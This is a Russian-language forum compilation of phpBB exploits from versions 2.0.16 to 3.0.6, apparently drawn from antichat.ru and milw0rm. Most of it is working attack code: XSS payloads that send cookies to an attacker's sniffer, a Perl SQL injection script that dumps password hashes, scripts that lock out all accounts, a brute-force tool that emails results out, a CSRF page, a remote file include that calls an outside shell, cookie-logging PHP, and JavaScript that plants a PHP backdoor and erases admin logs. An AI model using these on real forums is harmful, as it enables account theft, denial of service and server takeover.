Запускать "perl exp.pl <server> <dir> <id> \r\n", где <server> - IP сервера, <dir> - директория в которой находится форум, <id> - номер существующего топика.

© milw0rm.com

0

10

phpBB 2.0.16

Цель: (1) Получение hash'a пароля пользователя.
Описание: -
Описание уязвимости: В данной версии присутствует XSS, которая получает куки. Они высылаются на сниффер.
Exploit:

[*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th  is.sss));'sss=`i=new/**/Image();i.src='адрес сниффера/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

Цель: (2) 2.0.16 Installation Path Disclosure.
Описание: -
Описание уязвимости: Раскрытие данных.

© antichat.ru

0

11

phpBB 2.0.17

Цель: Выполнение произвольных команд на сервере(php-injection).
Описание уязвимости: В данной версии присутствует уязвимость в модуле profile.php.

© antichat.ru

0

12

phpBB 2.0.18

Цель: (1) Получение сессии админа.
Описание: XSS в сообщении.
Описание уязвимости: Требует включенных BB-тэгов или HTML на форуме.

Exploit:

Код:
<B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L L O </B>
Код:
<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th  is.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='fon  t-size:0; X="<B ">'</B>
Код:
[url]http://www.[url=http://wj.com/style=display:none;background:url(javascript:alert  ()) ]wj[/url][/url]

Цель: (2) Получение hash'a пароля пользователя.
Описание: Найдена WJ(White Jordan).
Описание уязвимости: В данной версии присутствует XSS.

Exploit:

Код:
[UR*L]http://www.[U*RL=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/*URL][/*URL]

Чтобы воспользоваться сплойтом убираем плюсы между символами & и #(например было "&+#40", стало -"&#40").

Цель: (3) Подмена ника.
Описание: Найдена Dgoing.
Описание уязвимости: Подмена ника, обход бана.

Exploit:

Открывается любая страница редактирования темы в браузере Opera, включается режим «Работать автономно», открывается HTML код страницы и правятся следующие строчки:
<input type="hidden" name="postername" value="YOURNIKE"/>, где YOURNIKE – отображаемый ник(можно писать любой, но чтобы он не был уже зареган в базе)
<input type="hidden" name="Board" value="FLAME"/>, где FLAME - имя ветки(его можно править на имя той ветки, в которой находится сообщение, которое надо отредактировать)
<input type="hidden" name="Reged" value="Y" />, где Y отвечает за то, что юзер зареган, если изменить в N, то юзер будет отображаться как Гость, тем самым можно флудить и не бояться, что вас забанят, если оставить поле пустым, то юзер будет числиться как Удален из базы, но писать из под него все равно можно

А это номер редактируемой темы:

<input type="hidden" name="Main" value="518474" />
<input type="hidden" name="Parent" value="521927" />

Вот по этой ссылке

Код:
http://www.YOURFORUM.ru/admin/showusers.php?Cat

лежит вся инфа о пользователях(она доступна только при наличии прав модера), где можно поменять юзеру пароль и все остальные настройки, включая даже Гость, Пользователь и т.д. Обычно адмиы когда раздают права модера, эту ссылку скрывают.

Так же этот форум позволяет регать невидимые ники. Зажимаем ALT и на нотпаде набираем цифру 255, потом отпускаем ALT и появляется символ в виде пробела, но это не пробел а невидимый символ и поэтому форум его схаатывает, а юзерам ничего не видно… Несколько символов делаешь и получаешь невидимый ник.

© antichat.ru

0

13

phpBB 2.0.19

Цель: (1) Получение сессии админа.
Описание: XSS в сообщении.
Описание уязвимости: Требует включенных BB-тэгов или HTML на форуме.

Exploit:

Код:
<B C='>' onmouseover='alert(document.location="http://hack.anihub.ru"+document.cookie)' X='<B   '> hack.anihub.ru </B>
Код:
[url]http://www.[email=http://wj.com/style=display:none;background:url(javascript:alert  ()) ]wj[/email][/url][email=http://wj.com/style=display:none;background:url(javascript:alert  ()) ][/email]

Цель: (2) Получение пароля админа.
Описание: phpBB Style Changer\Viewer MOD SQL injection Exploit.
Описание уязвимости: sql-injection, уязвимость в index.php?s=[SQL] позволяет выполнить произвольный запрос в БД.

Exploit:

Код:
#!/usr/bin/perl
#########################################################
#         _______ _______ ______         #
#         |______ |______ |     \        #
#         ______| |______ |_____/        #
#                                        #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT    #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
#        Tested on phpBB 2.0.19               #
#        created By SkOd. SED Security Team             #
############################################################
    bbstyle.pl [HOST] [PATH] [Target id]
     bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http://)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}

# milw0rm.com [2006-02-05]

© milw0rm.com

Цель: (3) DoS форума.
Описание уязвимости: Уязвимость позволяет забанить всех пользователей на форуме.

Exploit:

Код:
<?
set_time_limit(0);
$host="Сайт";
$papka="Папка с форумом";
$file=fopen("user.txt",*r*);
while(!feof($file))
{
$str=fgets($file);
$str=trim($str);
for($i=0; $i<=5; $i++)
{
$request="POST http://$host/$papka/login.php?sid=f1bed4ab383a8521a612d6896e0ee21e HTTP/1.0\r\n";
$request.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, *\/*\r\n";
$request.="Referer: http://$host/$papka/login.php\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Content-Type: application/x-www-form-urlencoded\r\n";
$request.="Proxy-Connection: Keep-Alive\r\n";
$request.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2)\r\n";
$request.="Host: $host\r\n";
$request.="Content-Length: 73\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cookie: b=b; phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=f1bed4ab383a8521a612d6896e0ee21e; hotlog=1\r\n";
$request.="\r\n";
$request.="username=$str&password=5555&redirect=&login=%C2%F5%EE%E4\r\n\r\n";
$fp=fsockopen("$host",80,$errstr,$errno);
fputs($fp,$request);
fclose($fp); 
}
}
?>

© forum.comp-info.ru

Цель: (4) DoS форума.
Описание: Neo Security Team(автор - HaCkZaTaN)
Описание уязвимости: Сплоит регистрирует неограниченное количество ников или делает через поиск запросы, которые база не может воспринять. Сплойт бессилен там, где надо вводить код(визуальное подтверждение) при регистрации.

Цель: (5) Получение пароля админа.
Описание: Уязвимость позволяет удаленному пользователю произвести брут-форс атаку.
Описание уязвимости: Уязвимость существует из-за того, что функция "gen_rand_string()" генерирует угадываемые случайные номера. Удаленный пользователь может изменить пароль к целевой учетной записи с помощью функционала восстановления пароля, путем отправки большого количества запросов для подбора Validation ID(не более 1000000 запросов). Для удачной эксплуатации уязвимости злоумышленнику необходимо знать e-mail целевой учетной записи.

Exploit:

Код:
#!/usr/bin/perl
####################################################################################################################
# Title: PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
# Type: Bruteforce / Dictionary attack
# New demo: http://rapidshare.de/files/13694254/phpbbbtr.avi.html (1.06 mb)
# Php Email Script data:  <? mail($destinataire, $objet, $contenu, "From: $expediteur\r\nReply-To: $expediteur"); ?>
# Note: Host the php script and replace the line 34 [] Php script for the email option because win32 don't support Mail::Mailer
# Changelog: Bruteforce option | Starting length | Email option | More fast | Die error disabled | 
# Credits: Fully coded by DarkFig
# Greetz: Romano [] Pgeo [] Fred [] CrackJerem [] Volcom [] Ddxs [] The truth [] And all man who like me =)
####################################################################################################################
use IO::Socket;
use LWP::Simple;

#_Utilisation_
if(@ARGV < 6){
print q(
+---------------------------------------------------------------------------------------------------+
|             PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool [~_~] by DarkFig             |
+---------------------------------------------------------------------------------------------------+
|      Usage: phpbbbtr.pl <host> <path> <port> <attack> <char> <length> <victim> <log> <email>      |
+---------------------------------------------------------------------------------------------------+
| <host>   | The host where the php flaw is installed                       | [Ex: victim.com]      |
| <path>   | Path of the php flaw                                           | [Ex: /vuln/]          |
| <port>   | Port of the host                                               | [Ex: 80]              |
| <attack> | Bruteforce[-btr] or Dictionary[-dict]                          | [Ex: -dict]           |
| <char>   | Bruteforce[upperalpha, loweralpha, numeric] or Dictionary file | [Ex: dico.txt]        |
| <length> | For the bruteforce option, define a starting length            | [Ex: 7]               |
| <victim> | The victim's username                                          | [Ex: L4m3r]           |
| <log>    | [Optional] File where you want to save the password            | [Ex: results.txt]     |
| <email>  | [Optional] Email where the password will be sent               | [Ex: haxor@gmail.com] |
+---------------------------------------------------------------------------------------------------+
);exit;}

#_Configuration_
$mailsite = "http://yoursite.com/mailme.php"; #Replace this value by the Url of the Php email script
$shipper  = "xploitdarkfigbot%40gmail.com"; #Default shipper email, xploidarkfigbot@gmail.com really exist => It work ;)
$host     = $ARGV[0];
$path     = $ARGV[1];
$port     = $ARGV[2];
$attack   = $ARGV[3];
$content  = $ARGV[4];
if($attack eq "-btr"){$length = $ARGV[5];$username = $ARGV[6];$results = $ARGV[7];if(!$ARGV[9]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[8];}}
else {$username = $ARGV[5];$results = $ARGV[6];if(!$ARGV[7]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[7];}}
$nligne   = "-1";
$postit = "$path"."login.php";
$full     = "http://"."$host"."$path";&hello;

#_Hello_
sub hello() {
if($attack eq "-dict"){open dictionary, "<$content" || print "  [-]Can't open the file.";chomp(@dico = <dictionary>);}
print "\n
+--------------------------------------------------------+
 PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
+--------------------------------------------------------+
  [+]   Attack: ";if($attack eq "-btr"){print "Bruteforce";}if($attack eq "-dict"){print "Dictionary";};print" 
  [+]   Target: $full
  [+]     Port: $port
  [+] Username: $username
+--------------------------------------------------------+";
if($content eq "upperalpha"){$nligne = "A";}
if($content eq "loweralpha"){$nligne = "a";}
if($content eq "numeric"){$nligne = "0";}
if($attack  eq "-dict"){&dictio;}if($attack  eq "-btr"){&generate;}}

#_Bruteforce_
sub generate() {
$nligne x= $length;
$passwordz = $nligne;
print "\n  [~]Trying the password: $passwordz";
&phpbb;}

sub btrfr() {
$nligne++;
$passwordz = $nligne;
print "\n  [~]Trying the password: $passwordz";
&phpbb;}

#_Dictionary_
sub dictio() {
$nligne++;
$passwordz = $dico[$nligne];
if($passwordz eq ""){&successfailed;}
print "\n  [~]Trying the password: $passwordz";
&phpbb;}

#_Socket_
sub phpbb(){
while ($OK ne 1){
$data   = "username="."$username"."&password="."$passwordz"."&redirect=&login=Connexion";
$length = length $data;
my $send = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n  [-]Can't connect to the host.";
print $send "POST $postit HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: $length

$data";
read  $send, $answer, 15;
close($send);
if($answer =~ /HTTP\/(.*?) 302/){$OK = 1;}
&decision;}}

#_Decision_
sub decision(){if($OK ne 1){if($attack  eq "-dict"){&dictio;}if($attack  eq "-btr"){&btrfr;}} else {&successfailed;}}

#_Success/Failed_
sub successfailed(){
if($OK eq 1){print "\n  [+]User: $username\n  [+]Password: $passwordz";}
if($OK eq 0){print "\n  [-]User: $username\n  [-]Password: Not found";}
open FILE, ">$results" || print "\n  [-]Can't write the file.";
print FILE "
+--------------------------------------------------------+
 PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
+--------------------------------------------------------+
  [+]   Target: $full
  [+]     Port: $port
  [+] Username: $username
  [+] Password: ";
if($OK eq 1){print FILE "$passwordz";}
if($OK eq 0){print FILE "Not found...";$passwordz = "Not found";}
print FILE "\n+--------------------------------------------------------+\n";
close FILE; close dictionary;

#_EmailOption_
if($mailoption eq 1){
$fullmailurl = "$mailsite"."?expediteur="."$shipper"."&destinataire="."$email"."&objet="."[Xploit]Results for $host"."&contenu="."Target: $full"."%0D%0A"."Port: $port"."%0D%0A"."Username: $username"."%0D%0A"."Password: $passwordz";
$mailpg      = get($fullmailurl) || print "\n  [-]Can't connect to the email script hoster.\n+--------------------------------------------------------+\n\n" and exit;
print "\n  [+]Email sent, check your mail !\n+--------------------------------------------------------+\n\n";} else {print "\n+--------------------------------------------------------+\n";}exit;}

# milw0rm.com [2006-02-20]

© milw0rm.com

0

14

phpBB 2.0.20

Цель: DoS форума.
Описание: Банит все аккаунты.
Описание уязвимости: По умолчанию в форуме включен бан аккаунта при более 5 неудачных попыток входа.

Exploit:

Код:
##################################################  ################################# 
#!/usr/bin/perl 
# Priv8 Exploit for PHPBB 2.0.20 
# This Exploit Disable Admin Or other User IN PHPBB Forums For 15 Min 
#Discover & Writ By : Hossein-Asgari 
# http://simorgh-ev.com 
# Comment : PHPBB 2.0.18 Secured Bruteforce Cracking Password ! 
# BUT : 
# If anybody Bruteforce TO ADMIN Account --> Admin Account Is Disable . 
# Enjoy ! 
# Advisory : http://www.simorgh-ev.com/advisory/2006/phpbb-disable-admin.pl.txt 
##################################################  ################################# 
$host=$ARGV[0]; 
$dirc=$ARGV[1]; 
$port=$ARGV[2]; 
$user=$ARGV[3]; 

$dirsend = "$dirc" . "login.php"; 
print " 
   ------------------------------------- 
   phpbb-Disable-user.php <Host> </Dir/> <Port> <Admin Username > 
   -------------------------------------- 
   "; 
$i=1; 
if ($host ne ""){ 
while($OK ne 1){ 


use IO::Socket; 
my($socket) =""; 
   if ($socket = IO::Socket::INET->new(PeerAddr => $host , 
                                       PeerPort => $port , 
                                       Proto    => "TCP")) 
{ 


$password=rand(); 
$data  = "username="."$user"."&password="."$password"."&redirect=&login=Connexion 
"; 
$length = length $data; 
print $socket "POST $dirsend HTTP/1.1 
Host: $host 
Content-Type: application/x-www-form-urlencoded 
Content-Length: $length 

$data"; 
read  $socket, $answer, 15; 
close($socket); 
} 
if($answer =~ /HTTP/(.*?) 302/){$OK = 1;} 
$i=$i+"1"; 
print "$answer 
"; 
print "Send Packet $i .... 
" ; 

}}

© antichat.ru

0

15

phpBB 2.0.21

Цель: (1) Компрометация сервера.
Описание: Obviously you have no output, but this makes phpbb to be like a http proxy
Описание уязвимости: В переводе - phpbb можно использовать как прокси, посылая запрос в удаленном урле аватара; также форум не проверяет контент загружаемых аватарах в EXIF тэгах, туда можно поместить php-код и потом как-нибудь приинклудить.

Exploit:

Код:
PHPBB 2.0.20 multiple issues with avatars

some problems persistently lie in the way it handles remote and uploaded avatars:

a remote user can:

(1) saturate the server with unuseful files, 'cause phpbb do not delete

the previous one when you upload a new avatar

(2) use PhpBB installations to launch exploits against other servers,

using "avatarurl" argument when you modify your profile as path

of a GET request.

Look usercp_avatar.php near lines 125-153:

...

if ( $avatar_mode == 'remote' && preg_match('/^(http://)?([w-.]+):?([0-9]*)/(.*)$/', $avatar_filename, $url_ary) )

{

if ( empty($url_ary[4]) )

{

$error = true;

$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];

return;

}

$base_get = '/' . $url_ary[4];

$port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

if ( !($fsock = @fsockopen($url_ary[2], $port, $errno, $errstr)) )

{

$error = true;

$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];

return;

}

@fputs($fsock, "GET $base_get HTTP/1.1\r\n");

@fputs($fsock, "HOST: " . $url_ary[2] . "\r\n");

@fputs($fsock, "Connection: close\r\n\r\n");

unset($avatar_data);

while( !@feof($fsock) )

{

$avatar_data .= @fread($fsock, $board_config['avatar_filesize]);

}

@fclose($fsock);

...

phpbb do not check if the user supplied value ends with an image extension, neither

checks if the supplied string contains "&" and "?" chars. So, you can submit a value

like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://someh
ost/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0

HOST: some_vulnerable.host

Connection: close

obviously you have no output, but this makes phpbb to be like a http proxy

(3) inject some php code inside jpeg files as EXIF metadata content:

this, in combinations with third party vulnerable code can be used

to compromise the server where PHP is installed.

Should be enough to check for php code inside the temporary files

before to copy the new avatar in "images/avatars/" folder.

rgod

------------------------------------------------------------------------
---------

mail: rgod [at] autistici [dot] org

site: http://retrogod.altervista.org

Цель: (2) Получение сессии админа.
Описание: XSS нападение и CSRF атака.
Описание уязвимости: 1. Уязвимость существует из-за того, что приложение не проверяет валидность HTTP запроса при отправке сообщений. 2. Уязвимость существует из-за недостаточной обработки входных данных в поле "Message body" в сценарии privmsg.php.

Exploit:

Код:
http://www.securitylab.ru/vulnerability/281494.php

© securityfocus.com

0

16

phpBB 2.0.22

Описание: Атакующий посылает жертве в ПМ ссылку на страницу, содержащую нижеописанный код, и все личные сообщения жертвы будут удалены.

Exploit:

Код:
<html>
<head>
</head>
<body onLoad=javascript:document.xsrf.submit()>

<form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post" 
name="xsrf">
<input type="hidden" name="mode" value="" />
<input type="hidden" name="deleteall" value="true" />
<input type="hidden" name="confirm" value="Yes">

</body>
</html>

© antichat.ru

0

17

phpBB 2.0.23

Когда модератор или администратор форума phpBB 2.0.X закрывает тему, его sessionid отправляется GET'ом:

Код:
http://site.ru/phpBB2/modcp.php?t=1&mode=lock&sid=[session]

Администратор/модератор должен быть перенаправлен на некую тему атакующего. Если атакующий разместил в своем посте изображение, то он может видеть referer и тем самым sessionid. И если администратор/модератор закрывает данную тему, то атакующий получает его sessionid, которую но может использовать для дальнейших атак типа Cross Site Request Forgery.

В случае запрета [img] можно заюзать удаленную аватарку.

© antichat.ru

0

18

phpBB 3.0

Цель: Получение куков пользователя при помощи XSS.

Пассивные XSS:

Код:
http://localhost/phpbb3/memberlist.php?mode=group&g=">[_Your-code_]<hr bebe="
Код:
http://localhost/phpbb3/memberlist.php?mode=">[_Your-code_]<hr bebe="

Активные XSS.
Exploit:

Код:
__________________________________________________  _______________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'       


Exploit: Xss phpBB 3.0
Author: SpiderZ
Sito: www.spiderz.altervista.org
Sito2: www.spiderz.netsons.org

__________________________________________________  _______________________

Download: http://www.phpbb.it/download/phpBB-3.0.B1.zip
__________________________________________________  _______________________


Apri un editor di testo come il "blocco note"

inserisci il seguente script

<script>document.location.replace('http://WWW.SITOWEB/FILE.php?c='+document.cookie);</script>

salva il file in img.gif  ( . GIF )

Quando stai per postare, vai in basso su : "Attachment uploading"

inserisci la tua immagine.

Adesso in basso trovi "Posted attachments" e sotto ad esso la tua immagine inserita es: ciao.gif

adesso prendi il link diretto della img. es: http://sito_web/phpBB3/files/2_bef6678eecdd2b36db36dd7ed1544ecd.gif

Ora non rimane che camuffare il link

Esempio: [*url=http://sito_web/phpBB3/files/2_bef6678eecdd2b36db36dd7ed1544ecd.gif]Bella ragazza[/*url]

Adesso tutti coloro che usano Internet explorer come browser, e visiteranno il tuo link...

riceverai il loro cookie.


Log cookie ( File.php )

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$accept=$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$cookie = $_GET['c'];
$myemail = "LA TUA E-MAIL";
$today = date("l, F j, Y, g:i a") ;
$subject = "Xss phpBB 3" ;
$message = "Xss phpBB 3 Powered by Sfs (c) 2006
Ip: $ip
Cookie: $cookie
Browser: $userAgent
Lingua: $accept
Url: $base
Giorno & Ora : $today  \n
";
$from = "From: $myemail\r\n";
mail($myemail, $subject, $message, $from);
?>



**************************************

Modifica : $myemail = "LA TUA E-MAIL";

es: tua@mail.com

**************************************


Log cookie Alternativo ( File.php )

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('file.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

© antichat.ru

0

19

phpBB 3.0.1

Описание: Работает при register_globals=1.

Exploit:

Код:
# (C) xoron
#
# [Name: phpBB Extreme 3.0.1 (phpbb_root_path) Remote File Include Exploit ]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=95900 ]
#
# [Tesekkurler: pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );x );
#
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac?k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-24]

© milw0rm.com

0

20

phpBB 3.0.6

Цель: Автозагрузка шелла/бэкдора и т.д. через XSS.
Описание: Для работы скрипта требуется, чтобы администратор был авторизован в админ. панеле.

* Скрипт не станет повторно добавлять php-код, если он уже имеется в шаблоне.
* В логе администратора удаляются записи только о произведенных действиях.

Шелл будет доступен по адресу:

http://vulnsite.xz/forum/ucp.php?mode=login&lo=test

Exploit:

Код:
/*/ phpBB 3.0.x-3.0.6 shell-inj.

/// Example:

    javascript:with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/shell-inj.js';void(0);

/// LeverOne. 12.2009
/*/


phpcode       =  '<!-- PHP --> if($_GET[lo]) echo($_GET[lo]); <!-- ENDPHP -->';
template_file =  'login_body.html';


// выделение базового url (директория админки и сессия) из главной страницы

get_base_url(location.pathname.substring(0, location.pathname.lastIndexOf('/') + 1)+'#');

function get_base_url(url) {
  requester('GET', url, null, 
              function() {
                if (r.readyState == 4) {
                    base_url = r.responseText.match(/\.\/.+?\?sid=.{32}/);
                    if (base_url != null)
                        get_default_style(base_url);   
                }
              }
           );
}


// получение названия стиля по умолчанию   

function get_default_style(base_url) {
  requester('GET', base_url + '&i=styles&mode=style', null, 
              function() {
                if (r.readyState == 4) {
                    default_style = r.responseText.match(/<strong>(.+?)<\/strong> \*/)[1];
                    get_templ_id(default_style, base_url);
                }
              }
           );
}


// получение id шаблона по умолчанию   

function get_templ_id(default_style, base_url) {
  requester('GET', base_url + '&i=styles&mode=template', null, 
              function() {
                if (r.readyState == 4) {
                    expr = new RegExp(default_style + '[\\w\\W]+?(id=\\d+)"', 'm');
                    templ_id = r.responseText.match(expr)[1];
                    to_edit_templ(templ_id, base_url);
                }
              }
           );
}


// на пути к редактированию шаблона...   

function to_edit_templ(templ_id, base_url) {
  requester('GET', base_url + '&i=styles&mode=template&action=edit&' + templ_id, null, 
              function() {
                if (r.readyState == 4) {

                    creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                    form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                    postdata = 'template_file=' + template_file + '&creation_time=' + creation_time + '&form_token=' + form_token;
                    edit_templ(templ_id, base_url, postdata);
                }
              }
           );
}


// редактирование шаблона   

function edit_templ(templ_id, base_url, postdata) {
  requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata, 
              function() {
                if (r.readyState == 4) {
                    template_data = r.responseText.match(/rows="20">([\w\W]+)<\/textarea/mi)[1];
                    template_data = template_data.replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&quot;/g, '"').replace(/&amp;/g, '&');
                    if (template_data.indexOf(phpcode) == -1) {
                        template_data = encodeURIComponent(template_data + phpcode);
                        creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                        form_token    = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                        postdata      = 'template_data=' + template_data + '&template_file=' + template_file +'&creation_time=' + creation_time + '&form_token=' + form_token + '&save=1';
                        setTimeout("send_edit_templ(templ_id, base_url, '" + postdata + "')", 1000);
                    }

                }
              }
           );
}


//  отправка редактированного шаблона   

function send_edit_templ(templ_id, base_url, postdata) {
  requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
              function() {
                if (r.readyState == 4) {
                    to_allow_php(base_url);
                }
              }
           );
}


// переход на страницу настроек безопасности   

function to_allow_php(base_url) {
  requester('GET', base_url + '&i=board&mode=security', null, 
              function() {
                if (r.readyState == 4) {
                    creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
                    form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
                    postdata = 'config%5Btpl_allow_php%5D=1&submit=1&creation_time=' + creation_time + '&form_token=' + form_token;
                    setTimeout("allow_php(base_url, '" + postdata + "')", 1000);
                }
              }
           );
}


// разрешение php в настройках   

function allow_php(base_url, postdata) {
  requester('POST', base_url + '&i=board&mode=security', postdata, 
              function() {
                if (r.readyState == 4) {
                    to_delete_log(base_url);
                }
              }
           );
}


// на пути к удалению логов...   

function to_delete_log(base_url) {
  requester('GET', base_url + '&i=logs&mode=admin', null, 
              function() {
                if (r.readyState == 4) {
                    log_num = r.responseText.match(/mark\[\]" value="(\d+)/g);
                    postdata = 'mark%5B%5D='+ log_num[0].substring(15) + '&mark%5B%5D=' + log_num[1].substring(15) + '&mark%5B%5D=' + log_num[2].substring(15) + '&delmarked=1';
                    delete_log(base_url, postdata);
                }
              }
           );
}


// удаление логов   

function delete_log(base_url, postdata) {
  requester('POST', base_url + '&i=logs&mode=admin', postdata, 
              function() {
                if (r.readyState == 4) {
                    confirm_uid = r.responseText.match(/confirm_uid" value="(\d+)/i)[1];
                    sess        = r.responseText.match(/sess" value="(.+?)"/i)[1];
                    sid         = r.responseText.match(/sid" value="(.+?)"/i)[1];
                    confirm     = r.responseText.match(/confirm" value="(.+?)"/i)[1];
                    postdata    = postdata + '&confirm_uid=' + confirm_uid + '&sess=' + sess + '&sid=' + sid + '&confirm=' + encodeURIComponent(confirm);
                    confirm_key = r.responseText.match(/confirm_key=(.+?)"/i)[1];
                    confirm_delete_log(base_url, postdata, confirm_key);
                }
              }
           );
}


// подтверждение удаления логов   

function confirm_delete_log(base_url, postdata, confirm_key) {
  requester('POST', base_url + '&i=logs&mode=admin&confirm_key='+ confirm_key, postdata, null
           );
}


//  универсальная функция запроса   

function requester(method, url, postdata, func) {
  try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
  r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));
  if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');   
  r.onreadystatechange = func;
  r.send(postdata);
}

